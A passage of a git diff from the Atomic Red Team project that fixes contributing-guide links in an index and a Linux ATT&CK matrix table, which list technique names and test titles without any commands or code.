Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1105 Remote File Copy](./T1105/T1105.md) - Atomic Test #1: xxxx [linux, macos] -- [T1021 Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1184 SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1021 Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1184 SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # collection - [T1123 Audio Capture](./T1123/T1123.md) - [T1119 Automated Collection](./T1119/T1119.md) - [T1115 Clipboard Data](./T1115/T1115.md) - [T1074 Data Staged](./T1074/T1074.md) -- [T1213 Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1005 Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1039 Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1025 Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1213 Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1005 Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1039 Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1025 Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1056 Input Capture](./T1056/T1056.md) - [T1113 Screen Capture](./T1113/T1113.md) - Atomic Test #3: X Windows Capture [linux] - Atomic Test #4: Import [linux] # exfiltration -- [T1020 Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1020 Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1002 Data Compressed](./T1002/T1002.md) - Atomic Test #3: Data Compressed - nix [linux, macos] - [T1022 Data Encrypted](./T1022/T1022.md) @@ -91,24 +91,24 @@ - Atomic Test #1: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - Atomic Test #2: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - Atomic Test #3: Exfiltration Over Alternative Protocol - HTTP [macos, centos, ubuntu, linux] -- [T1041 Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1011 Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1052 Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1029 Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1041 Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1011 Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1052 Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1029 Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # credential-access - [T1139 Bash History](./T1139/T1139.md) - Atomic Test #1: xxxx [linux, macos] - [T1110 Brute Force](./T1110/T1110.md) - [T1081 Credentials in Files](./T1081/T1081.md) -- [T1212 Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1212 Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1056 Input Capture](./T1056/T1056.md) -- [T1040 Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1040 Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1145 Private Keys](./T1145/T1145.md) -- [T1111 Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1111 Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # defense-evasion -- [T1009 Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1009 Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1146 Clear Command History](./T1146/T1146.md) - Atomic Test #1: Clear Bash history (rm) [linux, macos] - Atomic Test #2: Clear Bash history (echo) [linux, macos] @@ -121,7 +121,7 @@ - Atomic Test #2: Disable syslog [linux] - Atomic Test #3: Disable Cb Response [linux] - Atomic Test #4: Disable SELinux [linux] -- [T1211 Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1211 Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1107 File Deletion](./T1107/T1107.md) - Atomic Test #1: Victim configuration [linux] - Atomic Test #2: Delete a single file [linux] @@ -133,87 +133,87 @@ - Atomic Test #3: Hidden file [macos, linux] - Atomic Test #7: Create visible Directories [macos, linux] - Atomic Test #8: Create hidden directories and files [macos, linux] -- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1070 Indicator Removal on Host](./T1070/T1070.md) - Atomic Test #3: rm -rf [macos, linux] - [T1130 Install Root Certificate](./T1130/T1130.md) - Atomic Test #1: Install root CA on CentOS/RHEL [linux] -- [T1036 Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1027 Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1036 Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1027 Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1055 Process Injection](./T1055/T1055.md) -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1014 Rootkit](./T1014/T1014.md) - Atomic Test #1: Loadable Kernel Module based Rootkit [linux] - Atomic Test #2: Loadable Kernel Module based Rootkit [linux] - Atomic Test #3: LD_PRELOAD based Rootkit [linux] -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1151 Space after Filename](./T1151/T1151.md) - [T1099 Timestomp](./T1099/T1099.md) - Atomic Test #1: Set a file's access timestamp [linux, macos] - Atomic Test #2: Set a file's modification timestamp [linux, macos] - Atomic Test #3: Set a file's creation timestamp [linux, macos] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # execution - [T1059 Command-Line Interface](./T1059/T1059.md) - Atomic Test #1: Command-Line Interface [macos, centos, ubuntu, linux] -- [T1203 Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1061 Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1203 Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1061 Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1168 Local Job Scheduling](./T1168/T1168.md) - Atomic Test #1: Cron Job [macos, centos, ubuntu, linux] - Atomic Test #2: Cron Job [macos, centos, ubuntu, linux] -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1153 Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1153 Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1151 Space after Filename](./T1151/T1151.md) -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] -- [T1204 User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1204 User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # command-and-control -- [T1043 Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1092 Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1090 Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1094 Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1024 Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1132 Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1001 Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1172 Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1008 Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1104 Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1188 Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1026 Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1079 Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1219 Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1043 Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1092 Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1090 Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1094 Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1024 Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1132 Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1001 Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1172 Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1008 Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1104 Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1188 Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1026 Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1079 Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1219 Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1105 Remote File Copy](./T1105/T1105.md) - Atomic Test #1: xxxx [linux, macos] -- [T1071 Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1032 Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1095 Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1065 Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1071 Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1032 Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1095 Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1065 Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # initial-access -- [T1189 Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1190 Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1200 Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1193 Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1192 Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1194 Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1195 Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1199 Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1189 Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1190 Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1200 Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1193 Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1192 Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1194 Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1195 Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1199 Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # privilege-escalation -- [T1068 Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1068 Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1055 Process Injection](./T1055/T1055.md) - [T1166 Setuid and Setgid](./T1166/T1166.md) - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] -- [T1169 Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1206 Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1169 Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1206 Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) diff --git a/atomics/linux-matrix.md b/atomics/linux-matrix.md index cd466d5e..e516abb6 100644 --- a/atomics/linux-matrix.md +++ b/atomics/linux-matrix.md @@ -1,24 +1,24 @@ # Linux Atomic Tests by ATT&CK Tactic & Technique | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| -| [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Command-Line Interface](./T1059/T1059.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | [Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Process Injection](./T1055/T1055.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Browser Extensions](./T1176/T1176.md) | [Setuid and Setgid](./T1166/T1166.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | [Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Space after Filename](./T1151/T1151.md) | [Local Job Scheduling](./T1168/T1168.md) | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Remote System Discovery](./T1018/T1018.md) | | [Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Trap](./T1154/T1154.md) | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Information Discovery](./T1082/T1082.md) | | [Input Capture](./T1056/T1056.md) | [Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Trap](./T1154/T1154.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | [Screen Capture](./T1113/T1113.md) | | [Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | [Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | [Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | | | [Process Injection](./T1055/T1055.md) | | | | | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | [Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | +| [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Command-Line Interface](./T1059/T1059.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | [Exploitation for Privilege 